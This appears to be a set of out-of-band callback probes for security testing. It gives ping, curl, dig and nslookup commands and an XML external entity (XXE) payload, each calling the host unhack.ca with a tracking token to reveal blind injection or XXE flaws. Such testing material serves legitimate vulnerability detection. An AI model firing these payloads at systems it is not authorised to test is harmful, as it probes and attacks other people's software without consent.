$ ping -c1 -p 00720a125d4d0ac8485c6d9ffc5afb00 unhack.ca
$ curl http://unhack.ca/p/720a125d4d0ac8485c6d9ffc5afb
$ dig 720a125d4d0ac8485c6d9ffc5afb @unhack.ca
$ dig 720a125d4d0ac8485c6d9ffc5afb.ns.unhack.ca
C:\> nslookup 720a125d4d0ac8485c6d9ffc5afb unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/720a125d4d0ac8485c6d9ffc5afb">]> <foo>&xxe;</foo>